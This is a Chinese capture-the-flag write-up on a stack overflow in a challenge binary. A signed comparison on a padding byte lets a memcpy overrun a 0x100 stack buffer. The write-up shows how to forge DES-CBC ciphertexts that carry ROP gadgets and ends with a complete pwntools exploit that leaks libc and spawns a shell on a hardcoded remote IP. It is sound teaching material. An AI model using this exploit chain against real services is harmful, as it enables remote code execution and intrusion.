这个题目输入数据必须为题目中指定的数据包的格式,否则程序会直接exit。如果输入符合格式,v 会让你很粗对包进行解析,根据解析道结果继续读入新的包进行进一步解析,之后会开启socket进行IO。
漏洞分析
本题有两个漏洞,一个是栈溢出漏洞,一个是堆溢出漏洞(getname的时候len+1可能导致malloc(0)),只不过可以利用的只有栈溢出漏洞。栈溢出漏洞存在于sub_401281中
if ( *((_BYTE *)src + readlen - 1) > 8 )
{
write(1, &error2, 2uLL);
exit(0);
}
readlen -= *((char *)src + readlen - 1);
memcpy(s1, src, readlen);
在代码readlen -= *((char *)src + readlen - 1)中,如果*((char *)src + readlen - 1)为负数,则readlen会不减反增,从而导致readlen最大可能为0x178,而s1是栈上的0x100大小的buffer,因此memcpy(s1, src, readlen);会产生栈溢出。 。
值得注意的是,在比较语句if ( *((_BYTE *)src + readlen - 1) > 8 )中,8是有符号数,所以*((char *)src + readlen - 1)为负数不会使之成立,这也是漏洞存在的根本原因。如果这里的8是无符号的话(就像上一个长相差不多的if),那这里就不会存在漏洞了。
漏洞利用
这题的漏洞利用有一个比较烦的地方就是跟payload构造比较麻烦:
- 存在漏洞的函数要求我们的数据为“\x01”+hex(len(data1))+data1+hex(len(data2))+data2。其中data1和data2为长度最大为0xf8的DES密文,且以DES CBC解密的结果的第一个分组必须为admin\x00与explorer\x00,解密结果的最后一位会作为readlen -= *((char *)src + readlen - 1)中的*((char *)src + readlen - 1)参与溢出触发的payload的构造。
- 在memcpy(s1, src, readlen);中,src为攻击者可控最大为0xf8的堆上buffer,当readlen为0x178时,剩下的0x178-0xf8的内容来源于与src相邻的堆块,这个堆块存储的data2,所以要想利用栈溢出做ROP,我们必须要在CBC模式中构造一个密文本身是ROP gadget,解密出的明文的第一个分组为admin\x00的密文。
这些问题其实就是密码学的问题,第一个问题比较好解决,通过逆向可以找到key和iv,然后加密就好了。第二个的难点是如何在DES CBC中找到对应某个密文的明文。这个可能会卡一会,但是花些时间演算一下也不难解决。
接下来就是做ROP了,ROP调用wirte函数把write_got的内容打出来,并算出system和binsh的地址,然后返回main,重新触发漏洞,再次做ROP调用system(binsh)。
本来我以为这样就结束了,但是很悲催的发现好像缺少设置rdx的gadget。我发现的唯一能能比较好的设置rdx的gadget就是init函数中的万能gadget,但是由于这个题目能够用的gadget数量最多就只有8个,init函数的gadget太大(要进行2次6连pop,还要add rsp,8),所以就很尴尬了。
.text:0000000000405020 loc_405020: ; CODE XREF: init+54j
.text:0000000000405020 mov rdx, r13
.text:0000000000405023 mov rsi, r14
.text:0000000000405026 mov edi, r15d
.text:0000000000405029 call qword ptr [r12+rbx*8]
.text:000000000040502D add rbx, 1
.text:0000000000405031 cmp rbx, rbp
.text:0000000000405034 jnz short loc_405020
.text:0000000000405036
.text:0000000000405036 loc_405036: ; CODE XREF: init+36j
.text:0000000000405036 add rsp, 8
.text:000000000040503A pop rbx
.text:000000000040503B pop rbp
.text:000000000040503C pop r12
.text:000000000040503E pop r13
.text:0000000000405040 pop r14
.text:0000000000405042 pop r15
.text:0000000000405044 retn
这个问题卡了我很长时间。以至于后来我手动在各个函数寻找找能够设置rdx的方法,甚至把got能直接调的函数都调了一遍,期待在函数内部可以把rdx设置妥当,结果都失败了。最后只能又回到万能gadgets,看了一下栈的布局,发现第二次6连pop的最后一次pop时,栈顶居然是main函数的地址,这是巧合么?然后第一次6连pop中的第一个pop本来是将rbx设置为0的,但是我发现rbx在pop之前也是0!这又是巧合么?这样就可以第一次6连pop第一个pop省掉了,orz。省掉第一个pop之后第二次6连pop结束后的ret就正好返回到main了。所以问题也得以解决,于是又可以愉快的ROP弹shell了。
Exploit
from pwn import *;
from struct import pack;
from Crypto.Cipher import DES
port=12345
objname = "pwnhub"
objpath = "./"+objname
io = process(objpath)
elf = ELF(objpath)
context(arch="amd64", os="linux")
context.log_level="debug"
context.terminal = ["tmux", "splitw", "-h"]
def attach():
gdb.attach(io, execute="source bp")
def readuntil(delim):
data = io.recvuntil(delim);
return data;
def readlen(len):
data = io.recv(len,1);
return data;
def readall():
data = io.recv(4096,1);
return data;
def write(data):
io.send(str(data));
sleep(0.1)
def writeline(data):
io.sendline(str(data));
sleep(0.1)
def xor(a,b,len=8):
res=""
for i in range(len):
res+=(chr(ord(b[i])^ord(a[i])))
return res
def getcrypt(ahead,p):
#---------------------------------------
#t=ahead[len(ahead-8):len(ahead)]
#p1=dec(p)^t
#enc(p1^t)=enc(dec(p)^t^t)=enc(dec(p))=p
#---------------------------------------
deskey="explorer";
enc1=DES.new(deskey,2,deskey);
enc2=DES.new(deskey,2,deskey);
c1=enc1.encrypt(ahead+p);
c2=enc2.decrypt(c1[0:len(ahead)]+p);
return ahead+c2[len(ahead):len(ahead)+8];
def attack(ip=0):
global io
if ip != 0:
io = remote(ip,port)
#ROP Gadgets
prdi=0x00404217
writeplt=0x04008C0
writegot=0x607020
main=0x400add
setpara=0x0405020
pppppr=0x40503b
deskey=0xBE00BE76EC5CE70D;
deskey=p64(deskey);
enc1=DES.new(deskey,2,deskey);
s1="explorer".ljust(0xf8,"\x00")
e1=enc1.encrypt(s1);
enc2=DES.new("explorer",2,"explorer");
s2="admin".ljust(8,"\x00");
payload1='aaaa'+p32(7)+'caaadaaaeaaafaaa'+p64(0);
payload1+=p64(pppppr);
payload1+=p64(1)#rbp
payload1+=p64(writegot)#r12
payload1+=p64(16);
payload1+=p64(writegot)
payload1+=p64(1)
payload1+=p64(setpara)
payload1+=p64(main)
payload1+=p64(main)
payload1.ljust(232,'\x41')
payload1.ljust(232,'\x41')
for i in range(0,len(payload1),8):
s2=getcrypt(s2,payload1[i:i+8])
e2=enc2.encrypt(s2.ljust(0xf8,"\x80"));
p1="\x05\x05"
write(p1);
p2="\x02\x02\x02\x02\x02";
write(p2);
p3="\x01\xf8"+e1+"\xf8"+e2;
write(p3);
sleep(0.1);
write_addr=readall()[2:10];
write_addr=u64(write_addr)
system=write_addr-0xb1340
binsh=write_addr+0x95aa7
print hex(system)
enc3=DES.new("explorer",2,"explorer");
s3="admin".ljust(8,"\x00");
payload2='aaaa'+p32(7)+'caaadaaaeaaafaaa'+p64(0);
payload2+=p64(prdi)+p64(binsh);
payload2+=p64(system)
payload2+=p64(main)
payload2.ljust(232,'\x41')
for i in range(0,len(payload2),8):
s3=getcrypt(s3,payload2[i:i+8])
e3=enc3.encrypt(s3.ljust(0xf8,"\x80"));
p1="\x05\x05"
write(p1);
p2="\x02\x02\x02\x02\x02";
write(p2);
p3="\x01\xf8"+e1+"\xf8"+e3;
write(p3);
sleep(0.1)
readall()
io.interactive();
attack("54.222.142.77")